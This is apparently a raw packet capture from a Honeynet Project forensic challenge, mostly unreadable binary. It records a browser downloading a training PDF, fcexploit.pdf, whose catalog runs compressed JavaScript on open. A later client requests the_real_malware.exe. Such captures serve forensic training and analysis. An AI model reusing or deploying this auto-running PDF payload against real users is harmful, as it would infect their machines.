ò˵LrDPPPVΖ )~EB F(ɀ5.9Ubloghoneynetorgmy˵L`` )~PVΖERd7ɀ5>WUbloghoneynetorgmy ʾU,˵L>>PVΖ )~E0 @[jɀʾU,"Pp^˵L<< )~PVΖE,eʾU,ɀP"`&˵L66PVΖ )~E( @[qɀʾU,"PP˵LPVΖ )~E @YɀʾU,"PPcGET /forensic_challenge HTTP/1.1 Host: blog.honeynet.org.my User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive ˵L<< )~PVΖE(fʾU,ɀP"㔇P\̵L  )~PVΖE g ʾU,ɀP"㔇P#vHTTP/1.1 301 Moved Permanently Date: Thu, 07 Oct 2010 11:58:03 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch proxy_html/3.0.1 mod_ssl/2.2.14 OpenSSL/0.9.8k Location: http://blog.honeynet.org.my/forensic_challenge/ Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 321 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 mAo@)MlݤUM K dYllo^&7of^>~͓h dhY#;"Y\'!qBpE2`k.AD+Z`G~ nx;u+(̤Mɠd `Ӌ93e43Oƒ*YτPdc?]Yfk%SESV> A3HSwč2uǑtʚ Yeu]Ux>{b/^Ȃtp+=D:]ֿtXǦ'>>̵LPVΖ )~E @YɀʾU,"P㔇gP vNGET /forensic_challenge/ HTTP/1.1 Host: blog.honeynet.org.my User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive ̵L<< )~PVΖE(hʾU,ɀP"gP̵Lba )~PVΖEikʾU,ɀP"gPHTTP/1.1 200 OK Date: Thu, 07 Oct 2010 11:58:03 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch proxy_html/3.0.1 mod_ssl/2.2.14 OpenSSL/0.9.8k Last-Modified: Thu, 07 Oct 2010 07:39:58 GMT ETag: "b0037-ed6-4920200366f80" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 1935 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: text/html ]oV@lNi6Ac HM KIҤ_PѴ)33geڮePE=yz*|}q>k[-%+MF.+qV~emE,[  JMUh1HjvhF K %`b2i$u~giaVD&0VUb.+Qit6Jw1' DUjd&Y9/v;MEQwٳdlF.ft\8޸׺R]Aqy6{.\GOk/Ͼ>M~x~-fۢu`gJ\olw.f[V#1ۭVr4tK@$@K%tlyU8hNBkրtd9Rk*[l"R{G(IڹHc@oNqK[4^e ckb^^<9NXBTT^Caum |XlvjҍWK舲t5pv޼$8';b<{KB\uD&,rn =u(Bإ[  ;B O"7VAbu3^Z̑ z6bKWjs%VHvcҔ#Z~儬l`~(1vRh"+o) {K4صB<94l[KF)!_[ZQ Ta # g*pVom #2])c^bWji@Īfxn0HV͚3W #%H#CBD9:%mQ,m; [h[Kkb+^`UQg m@%a ܎+r ƒ؀oI,jVGTprBJJ.A@)R iD<<[RTk$zB$oɈd ֍[w *8vZ DᚴbS -rz 8+(;iH&bBl&v DҪ˗`pݫo[ɪZ\I˲n.(W) ݞL/r_{MFMcܓIQ(~SeG.+vPS{F~C(Ay O .2O!yƷq.>˪rz/߬?tǍarV٥.֕ӳo's&BF_Ug&H+SO7zO[/Wsmo2ȣ[Z?T/Og$M9s[3ea2|!˴unG]~E f1~$b_TmzadqĻ,/׃'mK!';|w >>rCx<t@S5'̵Ln66PVΖ )~E( @[jɀʾU,"PP̵LbPVΖ )~E @YɀʾU,"PP#GET /forensic_challenge/getpdf.php HTTP/1.1 Host: blog.honeynet.org.my User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://blog.honeynet.org.my/forensic_challenge/ ̵LΌ<< )~PVΖE(kʾU,ɀP"P̵L )~PVΖEl"ʾU,ɀP"PqHTTP/1.1 302 Found Date: Thu, 07 Oct 2010 11:58:03 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch proxy_html/3.0.1 mod_ssl/2.2.14 OpenSSL/0.9.8k X-Powered-By: PHP/5.3.2-1ubuntu4.2 Location: http://blog.honeynet.org.my/forensic_challenge/fcexploit.pdf Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 20 Keep-Alive: timeout=15, max=98 Connection: Keep-Alive Content-Type: text/html ̵L?PVΖ )~E @YɀʾU,"PfP*GET /forensic_challenge/fcexploit.pdf HTTP/1.1 Host: blog.honeynet.org.my User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://blog.honeynet.org.my/forensic_challenge/ ̵L<< )~PVΖE(mʾU,ɀP"f㙭PS̵LO. )~PVΖEnfʾU,ɀP"f㙭P HTTP/1.1 200 OK Date: Thu, 07 Oct 2010 11:58:03 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch proxy_html/3.0.1 mod_ssl/2.2.14 OpenSSL/0.9.8k Last-Modified: Thu, 07 Oct 2010 11:48:24 GMT ETag: "b0035-6251-4920578adf200" Accept-Ranges: bytes Content-Length: 25169 Keep-Alive: timeout=15, max=97 Connection: Keep-Alive Content-Type: application/pdf %PDF-1.3 % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % ANYTHING written in this PDF file (the file itself or the code inside it) is solely for the purpose of Honeynet Project Forensic Challenge. % Any usage towards this file and its content are at your own risk. % The author will not be responsible if any of those brings harm to you or others. % This material is for training and educational purposes. % You have been warned. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 1 0 obj << /Type /Catalog /PageLayout /SinglePage /Pages 2 0 R /OpenAction 4 0 R >> endobj 2 0 obj << /Type /Pages /Kids [ 3 0 R ] /Count 1 >> endobj 3 0 obj << /Type /Page /MediaBox [ 0 0 612 792 ] /Annots [ 6 0 R 8 0 R ] /Parent 2 0 R >> endobj 4 0 obj << /Type /Action /S /JavaScrip̵LD )~PVΖEoeʾU,ɀP"㙭PZt /JS 5 0 R >> endobj 5 0 obj << /Length 395 /Filter [ /FlateDecode /ASCII85Decode /LZWDecode /RunLengthDecode ] >>stream x{j`r^Z&"7bͭ˫%Tw<ϒ?GPiiҁ4k;k^XH|N#@*h^C{5*+?AdءQ94*A_Y;J590d>l! +1n!.ԖWT&aghy♒h\8?Ь`6au +Z:8)\nrsm.ǜH?dDPVKogCV}Xp;%)*{*ȝQdՌpt sGR:,f/'1LQv{e{ fBC;(EKĩ!tlDZcfԨH.9X |_{Njk/$> endobj 7 0 obj << /Length 8714 /Filter [ /FlateDecode /ASCII85Decode /LZWDecode /RunLengthDecode ] >>stream x rPE!sJI" TcZgÚx2?4z_DJ>ף9aW/nnSS:Ȃ#ۂfs4Bh,QpW`%qM#^OϷ~;ZzcS;Yz*-Y[t pSȷQ5tN5%qy5t4 vмs9͞[r«6^o.z"¹뙾=FM?gU_ՎnP-?1r%Q'*rЗ&3}ϩj|v|"(|Txɧ`+ѽ$f 8c+ۼ̈\ E3壤GΤzszk ׺ͩBQ&ficV Q9<:45u7Nak/q_%PbN?M:@sV=/㾘k¶xf|1X,[f)]MGjoصl<>J1G][|z,`0`La.鏏d3;TG(pGB^ Wf0hahUsоǨ>vtrt*_Hos'kk *'~#JRtuIZHXN̵LD66PVΖ )~E( @[_ɀʾU,"P㙭fPR̵LZ )~PVΖEpdʾU,ɀP"f㙭PFFI|Oޖc"֯۞4$t-Vu/4W6AI*23yNJROܘ/ f`⢶k{@'i%vL-n^:UζYlզ_ʽE({zISz;G>L{h^֐J[/uvm%֛Rh !p}oG Mjwj/jϻj܌cTEeʭI|POc^ G>a:M}SS`F/T'J9jjNt'ځX#Yļ/u`G*ݜ˶̏byx}3XHO۴*kz$ +Vkcy T)|Vհ*|2R}ذ3S&&kW0LpǛX3'&m>,1rszͩ4ؠ1-ޢvAnje_yזvQAM̏M)7+h]PEGy-_D7>0yeyր5:VѼZ,,-m֐OazٌBF\WW@3^\_kAqћgŃOr:A/2u; صh _w. 5+٤u LJ@@:%n$dn[ܭn5y}%; 6*(PѴաmMG#D gyd S8UL ~8as|(()[' `|+Dm\(mO$ {㙻oε-fhV].Q[pF,LD"(gy $E&G}.t_~'.Z`pfۘr-] -y #|R+i1>mx9OsO뵥wg\l=>=e QN$:DcH[iף-ja<gܫڢ4 nŬ:yrj~ P(8?.O{,3pZ h__d>9 ^ A}fkmFvyl:7mjovӕcd)ߩJ!_Z4Z4l&UepmWNtguὛ! `C!flm_gۨyvimxb9kQ\c|1<ҽz3tg֧C+8!D0m 4*,E}5C{xEbBEUvO[= >kt#QB&)wN(p{P̵Lt )~PVΖEqcʾU,ɀP"㙭Pi:=rE(nU5Mp˄6"=^ |.gTEeEC3ݯ)bmz5?⃥ݗ ]1=wb-ڐh~'"$&}fv>hҊqڙܠnlNRz}dЧ]8TЬ7.ś̾<;%JY]LiP|X|:υ^Z-ds1F|Bw!D|O-v1Y̗t.ncOG ! dns&}C[MvGA^5S}yø $>m6Q1(֏ph_e;5Uu(@rgzt}z*Ù<^CB$Ef/8%=Oᙎ i& m7ۍyk8EA\,U2ZX>mkHÝߘӓzJCL$Ϟ_=;|ըmБ07F\IGܩfU~d7]BDo%.Y1)#c6OSyMxBO+nj:܌wE(cԍZrEcbfpբ^wՃ8<*B}?7l\m03n05`a69Ğ;m NRBkV qEHabu W[b!:-δX)Ȭ=:-ҁxU#l!.0<( .m(ݼAY͇-in:8$(kNWYJz;=I`r^hnR?k1zY%2`Juu ~xd6spfg UpZMD/\2B` ȅFa]Se:(L|:Xo6HT_Y%2" # 运2񊌟ȹ$8Δ 1Wʻ,LdhLd"hes֬%&y=0Ѡ6s4GZ0\Ŀ{{~ZKRi` +^cq;Y#Ah^9xPnO &CDK /Nu0ndPG%Ke(p}мNg ה&D`fK64 OtX![]t\; fo7Ӎ`0$ő{T;Ցխ¥pDz݄kV{%t֬eŕ.aϊXT'M":̱ڝcʷ#4tu$`4̵L(u66PVΖ )~E( @[^ɀʾU,"P㙭fPR̵L* )~PVΖErbʾU,ɀP"f㙭PFU{<4ZeYly>ӚFl?rEɺ{߆sxK40>>+xa {⯱5[C8ZVs)l fOb ;4D؏m``5&k.e ^IcٛJ Y I_/oO̓6~H&П\.3 #}väFFص JTHU+}*ì#hbep5$bŎnOԷ:Z(@t9eUo-h.S&d$\s]#_ VソpS-V^g~_O&#t5nWlT_IW,::JG(:|͆u;O{TtB8NjEVG\Q8~]\8~jѝs}s|yq,GO{_W| ``+Q}qjD׳xSacS ~6ͤx4&R&{}KxflԱ,$M݄ x*u'>$ޤ@ˬIsﻧK5B/n B]*=Ej!fvFxjOfy1IkM__Ddnk eBmKߟ jNV1nsH(o_n?/^Hw\eEh[vs2Iy-'K֌h ϩlfR2Vpd1#hS' H v=;]2!~: Vrhczb ^K(Oa*Y6ՙ oҞzqT֕dT(G8~;Hͯqup`Ŏkji#!I,'vs5vqoL4[N,ʝ nD 8~9m$k]V=x/c?kl-Uۮ}3yKVd,* xLD ^MC}a13þc& w\ ֜2riIJyZ{tOW+{{IlO8x2n?z]fL&z*?jWZ հNw>PBsʜcz)q7_>Rޒ%sEǘ`'qMs!:>۞}a~lFV/G`Qw9¾7Sz1dqGjùQKuZzCBc7`4Ymw$/6G!x޵f*όX1,*w̵L )~PVΖEsaʾU,ɀP"㙭PDKeIֆ;Y(H 4lnžSLf}lq&S2q-(T5Mƶ6b#etZqt. \tE_SFdxpqo,5\9kI/Ў85}u7{7n<eN/P?$jJ15{erՇWݱ~k$MԼ  vJDƩӀ_%HTNVkj01iA?0A1r6@M=[5&!y3Jw ?vJ`_;|>4'5dqS.H2U{^#hEtiiRRTCEkaAOUl쬹4t, T#Jv֯_ Tqrs@]SCR. R~ZO?6_ٟ߯vbSyn ^?~=9-ѿQ+Ȁ,># R tb Dkj֧zXiƻ F+ƼM/y,nNL PנNkۚ+4q0 R?te=I[zI{#: YLkGư7>+S4"Í_qvIdMߢiMou`͸dIuv) |]XJއϴ{N1>lwVlAT+ESRu`fv/h jp>qaؿvj@~|哿^|^zHΕfG8-^+&_o#AjK8 'q?+}1(8a^00? PkA5mʇ{'>N6 <\,2:6Ds4Z'gl5~`CWܬ=H5rY̵L66PVΖ )~E( @[]ɀʾU,"P㙭fPR̵Lɳ )~PVΖEt`ʾU,ɀP"f㙭P Ug9˾F{Gue4hpc;o08]^`hiX7qCWml_'h~,ǧZt:'U#n`wڋ[qcLK qkT4?yqӍ3yȧD ^ZwtLm~]k1ej *l)lyTGTߚNavx9 /Tꢽ_߫55~.!?#s0H |^t(^ & 獿7ldkJ\;.[`g-^ ^Lâ$])^";Oݏ 01KR҃nO'L̊j.わnk6ΉQqW D)uّxٰ{j$ܼ'_҈̵%wũ?qwA/Ipp ѧ?y95v;orz? t \hٻkv1xhLߘws)E%J$N{d{pi[};p<%yML1ee'/Xcg&rZiB->8*ޜ3G(eYO|- 8='fls܊tLT{P|L:3;mv@y7k]Rr+MP>!Un72TҠi;p Ͽoo.:p̘~>[|6mٷ+!tQϢQR<ֳF v{x?$ =4SRf7Xq:ka~oie5z^pe +L(8-dqI/x]ن<~do㣽Y_Tki?L*nη^U/Tg@.r8o /$7x!6;VY'~J ,˼)nf:?@@ /iֿ|ʼn4 )t'Pgj(D@yzWsmC=#LD>"6Uzϴ[M[*}`^ZQU' g[p5̽w ˷e-khW@@2īd6i7?~H MvD?L}JfœV;bU#݈|wReʜ6-u?뷑'UEE_t3E8ljBcnsӉ ̯6W(d/EHnR8픔rϜk\;Ř /]w/~I91xw2%Xirnq=T&r`UJ:yW[ky ;síd:ZTTtT.E:ڇc|/;K9oբ)Ad-.`t1:]o.B5I~fx;fei+5pURg¿Q_ ǼWs$6qoI?JL_xо28ejm8e6qraY1=^nxeLڭ^+KWsw%oL(!Z??05 endstream endobj 8 0 obj << /Type /Annot /Subtype /Text /Name /Comment /Rect [100 180 300 210 ] /Subj 9 0 R >> endobj 9 0 obj << /Length 10522 /Filter [ /FlateDecode /ASCII85Decode /LZWDecode /RunLengthDecode ] >>stream xiz\?KI(Sh$Qd*c>o}o *i1ח_wEi\5/.w+fGnk~a|" 66ҦNlPp륗8 >u#*>Mј[90/̵La66PVΖ )~E( @[\ɀʾU,"P㙭fPR̵L )~PVΖEv^ʾU,ɀP"f㙭Ph=o{`m=lNaƎz )ic]0nWX +"<?ϔԇ"&Ū],$$l9l瞌w#۸)A7u ciq=qXeG̠L7baA=W ZkOd-Ut:X!>!5 _i:τDD?hպ37Mqo8FV)so jxu=;5TsZɕO~o rf U5 ތW<2}PD:+QY Iʩ{?Ȫ}D.Hsd+vstP͎zGk6ly&'Bz2թo7X }uY$Xlp0hʣ)ث<H*=݉l,C=E;ҰѨPRGV ;dnzӣsjV{3MaƚX zgz5_ݤ8|!*g힕Ku>ԭuM+Ь(<`rYRYB?(  bz1)mX^7:U5aU3P%YXrs>Y7kZvHi[$ qi)?̡v vv>ϫY/hIRs"|e,-"gKSҮxdBqwGt/2@{vיY?me-*S/X:>=mGNUyenk6BwMvK;mԙo-dH7x79oS6_%Yf  :$pl'_Z6}ّOVAx{FPZ\)^ѤK"X rXrĐ A\ogCݽIzcȖC|4jV%GzֺxPۚdzCG]}ڈ_زdv ;Hl d ܓ4AgmBytp.ܫiVNg6.JX.x:V:lH/p__`KneX'ơF2!FX jkQ_!yueCub m5|xng?cCwS;UbxVz㍣ُ'a+@1=;!֘LYϓ畍SsL}UnJ\$(|G;>(̾|ϰտ\ͽSYb׺J 1uDٖ;iu˳ xжeMv$97qy }͂dդ]"%A[XtLhtX[#̵L )~PVΖEw]ʾU,ɀP"㙭Pa V^ISE!Cl]8*Zw-¾/Ƶ=0Hrmrcmf+?ǻC !l"ػ&Q /AF[ '޷OqzW]iCk&92ZSZOHB}ꇗ*I_"t%in2STS ^j`p׍{A;`\\u3z}/ mghlp\7 ί׭|,únQFo&Te]fcu+*PoGݜHYDn7.&+eN%l !-^1?F}noNLRzM|y^ll"LlW%V]Cx)1~KQjtf3 gWBѻi4v6u P![g });X ўUąUM_/ƮS?lIu7Vwg> Ct35hƈX}{th?&l}z}=9:]mx8[ckom6_q5ɼ ~tj%1vZS~%ݨN*<'})sP!]&wz^d6󒟥O{i$9u9{%3<^Y/8Z{ߪ؃vӢvWywYRڜumtM,wےᒶz&UBV`$^7oi'n]Mwzfۯ!Zq`ɕwx߫ssשz#|(8Nm w1~[VyOGٱ5~>)y]́U>9T/GesD$GTmNv_8F~eW>ķ5Ii’b,vQ:KEtCF\}[sQ]΋ f+}cڵӚ&Ꝭ8 U4ޣѷ2=: .Ǥv|'iٜM@B[/f',[QRgրnD'@FwVGCh qnn?kFMH?>=X3jy5@7"{JXd'J/:[apٺ`qW޳wuWmTZ%u-?kiH4oo8n4A?o \M, rq+dT3[fwLd~Ei"PFj|GLlm}7Mwrud#5ج̵L%66PVΖ )~E( @[[ɀʾU,"P㙭fPR̵L~  )~PVΖEx\ʾU,ɀP"f㙭P4Urs [7&M>k+B'qC<ݓ -OB!'kZ_(EJh{H8j(W>\EKK= N,su\T_V| o{3Qtdr6s*z?6L{k3aMf[0[^NVL@ cк~ v8@hs|=XF ^͑_']C|Hop}j #Oƪ1'a_mP9t4v3!^{XΰN&Z_>/E;XMp#:Pچ=Tu j~ 0V 67`x8TfC/\>bL#^@*,vO~)pTE~o\AASK7`(b~3Dϐy֨rp<Gۿ}la|7FVyNrT=8"iOeMo$"#V[ֲ+#}2)S:3(N>;WﴶӒÍ{! }OTlon (,/W/X~4 7/Z]9;iWX .hų+ a[j.Ŵѝz#Qn^]ls>tK bwkS|^+EO`'Re2)$Eڭ!@Q:KxԤjfبJHeX7fxs[ʺevՆ~ڪuvh!|yp:Ǔ0 0k  mm\ gѠSWZ?^δ뵖a!r_V:,d bp(Pʥysև=ndSAo)=,$ fCUxf/uM昝on&2'(?Po*Zֈ3|o 7C膋q1I^pISߙEQtu[&iZeQ:ʋ\c)8wY)\uV׬GGWZ6qbzD,yF07>˓k jƕP2WH=- 96E[p͝֐/h#䴱#ڬBv[HCϏ ^Jera, 'h<}mn}Vl`UD _ěNV#A e[Exj8r:3;4~7nG_9\uT4&:ixخX:ĮWM,GS n^oHS=I#Z_G?@=ZGi6Qw]#/ǭ^%6'y 2T5p{guE^' z< WUq?w<.GD.kAKtZo|_fAC( 0hNٮBl!Irb/〪_tv#[B^߯U{ujAEy mVo}8СAцYL753Kz ٠p-: ;3ǚ%i.+A'J8ZdS*&4}lQt!~bblZVv^XVxa~R\'ƶ"hۃ-gPbыwwZKExEUlF zr9iQ䂸:"mGef&'&Z Q$RPTAO[ߚIU {wrQiKn~#N6HVY.` wtp+M_黄:_F6K̗i`jVM/jhMMz=ph]}r| j; طK:!}z2{2`|i>%WPNZNT+NwB`rZ4Uolwx{fЂѭS>Ur$U/Ʊk|RmYUSҽm U"RmYLqjfjzo*;9-=̵L#66PVΖ )~E( @[ZɀʾU,"P㙭fPR̵L9 )~PVΖEzZʾU,ɀP"f㙭PR_{! x^?EVt% ?.{!Th]׋48V=/:Cp?'25uj IXXg&USs6]Z $Zw8gr:̱͙ 3e봗.Y|auIPJ|j1a7<]P֛e)>lhu"s#CmoX}x.0MfP^OXp׌ԄOT~v9oeTp]7~EŪW1Te3BǤRy "/kNrRmJ٫>80hCͿu^!%!;tmX-Y9|{|oG ;1#lx>aoqp4 /Y9N4QW }ho73*~[N|{=FI͛Ԏ$wmJr{ Uw~'su ;߶%1 %j'PھN{+7|>C+Ln:eeiEn82}jjSD?@'[]@tuvQ? tVR|~x"&|MNy9(J!< հ[m5uUF{7#ތkaf&5w{ox;­r}Ov:-W59]/_bm& 6c Џ*ά"g3ޓp!m#r|mtPh\o~xao7's4;k9 :#ZC W-t:Ô0Ka2493xEVUjʭeܚC}?'FG1 wO+@}°׿ B$H:F<_G-Y毂֎2q'lY^?9mfdL2yCP@7 ..AXKчJG .U Y(D 6usP@F,讬[̫;nOt8)5' ͕dס/e(.*Nb[7Wdbz>GFUZ)k:ogK35߮ډ3k> oKp}MbG̫YmFK%"!}ƀz7n^ qF~t}Uv΢ 19>?ܯl.''fO4ٗ{VCZ|} /oLigڻnӃPI]ITvdŵkxRRqFвקr\{;Wd+`owxMI5Nw7I,9?Pƙ6@2ռv6:sИu60S 72z+jbN som߆+ϭv櫷cOoTtѰî8{}:1uou1IDeZKlp`sW-3>uh"ORͤTD=rs=%Ǭ =)#`њsuQT㊝Π֙23SF0I/BnԄ *ѯ2ߣiODs_d:ڃ|uBm G+ҮmS/W'mL_#\!*gVjxH=}WU^Vo~1ms>'DV_)y}bFMzSBz1WՊw =SGzʮn%cz/QDnjE%Js:Y̵L'P66PVΖ )~E( @[YɀʾU,"P㙭fPR̵Lf )~PVΖE|XʾU,ɀP"f㙭Payt`p:3?ߺgq,'Dx> B(?~_%%|mFz{?8CD:^ٔ 6sRc5LߋG!?8T>,]S5;r2pDKӆ-*xYnrZ!]~"K|tqxxjm~*e|}lR0c]K["ffKKIDʂ 0*i9ͥӝV'D]/@$̩"qpl(Wfޠ;pƂDә9]f~u x~),`ODqN6y-~pWAVL \ڝ=]OYZpRh?l)6\Ozh=G ;l\Oܼ>c^;P!MxʳNz7; a5\TCOOo$w->W\b%?XSz*$^3k$dwⴕT' KeVgi@yu; !+*o{UIYMkH2]3|G]BxΥۛeU]MF"QvƧ‘W@2N)'  ;5j$(X&to.:]Üwyn2nyhg>ҡƢRxbΧ\axgޚ7D" X~/;=F%+RzɹZhVъq=5J,[=JŚ9CyfYiAܸrK9Nc//=?O-[ep'`<>.nĦunx* iroϸ_Y3us/(>1#DxL9}fՑN>#^nq'9>j5m?dgb<)d'([ǮZ#͛ޥE OAlsb3{58G #S@smƎbB/U2e<"ѤE EATW8"|@ƌsק~Q4!+/=Gyz#,`r\!cVVէ<2SFBt܁rEO.دd-d6Ƞoܘ]FN.vF3bFmv <`7{Ū$ *0n:bZO~7*'W R*x8R9tk)6)p̲~9_ǽҐ- ")Q'& Qw^j5qp(Y$'a M4R{nD"N uv4'R%xޅ9:".~؛QCl a᤯׈EEmq cZ^u~j]nW`[QՆ endstream endobj 10 0 obj << /Length 956 /Filter [ /FlateDecode /ASCII85Decode /LZWDecode /RunLengthDecode ] >>stream x©g(H!BIdӠ44gp!@jzVm8!жfl"xnU8zCaM'SSy+B1sE3Y]k{Acl9T1[FLӈxG{hptF z#+)Q1.PtZ9mBro1V`crNmcaǖ!cC&ؽIY ϭ.VGXLYxcÔ)iiյuk-JyJюn Hw%ƈl Qhq|WF_X1ёwE-!5;770g7#D,e{V4ͼ%\(c~*4ht8^{/A$c,M+ & ('롐Mb_v}FBJ^]|M1̊auA=q7 ﯑T+12bGQq1~Z`d̵L|66PVΖ )~E( @[XɀʾU,"P㙭fPR̵L! )~PVΖE~VʾU,ɀP"f㙭P Õ@z:>zɫҜݭԑFe-|MF$̕),&|I]]Hs? *e'qeO:/.,:5g\޾vp/Lzk ").:^49dxYuT6Wy끯Pݟ] S\&ࢋHo1YU endstream endobj 11 0 obj << /Creator (Scribus 1.3.3.14) /Producer (Scribus PDF Library 1.3.3.14) /Title 10 0 R /Author <> /Keywords <> /CreationDate (D:20100910021118) /ModDate (D:20100910021118) /Trapped /False >> 21 0 obj <> stream x[Y8~"ʼ Ә-,L)5KIF_vr+H##}pر#|_1H,'\j{J'|RDfx9|˱$I c6j #LOdZ;/\+঱Z93Wu|"y12*(8bJ^̹C2 u|D ijA6Y&Q.X(ABݒJu%y,+ B/ teE ̮390ktiW0-s,IgH ̭0ʥ-B*K7irKhkaӉ=새~ŸbyqlF/g[/MUZ)dGInjϨrnYƬܭJZ!j\~l952F^iybEVdQl6\aVZ arx|0m?t1qlGUVN'忌4[MvޤJ-e9t,DbdOW uLcQ@9y* V6yqГ(;S^@_[ ~H:8p$5䇗;u,(#leeOkX@@@@@@jVqJ]}gҶa7,ZAN ʤj}~AE᪏?1~qU[7Ne~P]];:õ-7mlV&Lh?A59tatqҔVz[$bwvyFt-FRS>uh.vP𑡇U_}ݙ[/Z #PkG0ˣv JS{̵Lq )~PVΖEUʾU,ɀP"㙭P4+ٚZcRAAq3=}8 LeTƆq{^XNskRTIN~ji­an&P[n6n}LQԕy`:dс _aW@3 Vc nzo"&VհslԶ$̶xȵlzSӀaHu`:oߧxc8a 27n|\wptG~u{oE[P58fn=qA}?Gttv_Z5s p3}G>4CMBM Ka-siE\M6NE/0 }?$5R=-hF6Byҷ .Λ0E|u^c#ihLj;Yktɬgb{>xπO( {Q{VW /}<4 Ec]FyG_! zV endstream endobj 22 0 obj <> endobj 23 0 obj <> endobj 24 0 obj <>/TP 1>>/P 25 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 23 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>> endobj 25 0 obj <>/Parent 26 0 R/Type /Page/PieceInfo null>> endobj 26 0 obj <> endobj 27 0 obj <>/Lang (en-us)/AcroForm 28 0 R/Type /Catalog>> endobj 28 0 obj <> endobj xref trailer <> startxref 14765 %%EOF ̵L}1   )~PVΖEʾU,ɀP"f㙭Pue>>/Lang (en-us)/AcroForm 28 0 R/Type /Catalog>> endobj 28 0 obj <> endobj xref trailer <> startxref 14765 %%EOF ̵L166PVΖ )~E( @[TɀʾU,"P㙭:PR̵L PVΖ )~E @YɀʾU,"P㙭:PnGET /favicon.ico HTTP/1.1 Host: blog.honeynet.org.my User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive ̵L << )~PVΖE(ʾU,ɀP":P̵LW )~PVΖECʾU,ɀP":PHTTP/1.1 404 Not Found Date: Thu, 07 Oct 2010 11:58:04 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch proxy_html/3.0.1 mod_ssl/2.2.14 OpenSSL/0.9.8k Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 303 Keep-Alive: timeout=15, max=96 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 MPMk@+^sjyO T9LdfI] ^ 3+]*O ݾ%DE$%Dh\Ltlȏ`,,U+KFhxb{Uv=/cM X^3:$:ka@:ұ'`Eep}5vPįMqB 1qom ] A;" ZYY+8-A@o} ʝ1]2ߐ > ܢ' ܢ'>PVΖ )~E0 @[CɀʾU,$P(S2 p͵LI << )~PVΖE,ʾU,ɀP$6h(S2 `8͵L#J 66PVΖ )~E( @[IɀʾU,$P(S2 6iP͵LK 11PVΖ )~E# @ZMɀʾU,$P(S2 6iP2GET /forensic_challenge/the_real_malware.exe HTTP/1.1 Accept: */* UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727) Host: blog.honeynet.org.my Connection: Keep-Alive ͵LL << )~PVΖE(ʾU,ɀP$6i(S3P͵L  )~PVΖE)ʾU,ɀP$6i(S3PHTTP/1.1 404 Not Found Date: Thu, 07 Oct 2010 11:58:05 GMT Server: Apache/2.2.14 (Ubuntu) PHP/5.3.2-1ubuntu4.2 with Suhosin-Patch proxy_html/3.0.1 mod_ssl/2.2.14 OpenSSL/0.9.8k Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 324 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 MPn0ۜCl TJ% CDSTȡ'&F56M}(R/+"JWHov)Ut/ovc52fyW;qGֺS7ct\cm ?Z?GmPٺ,JDuB,. 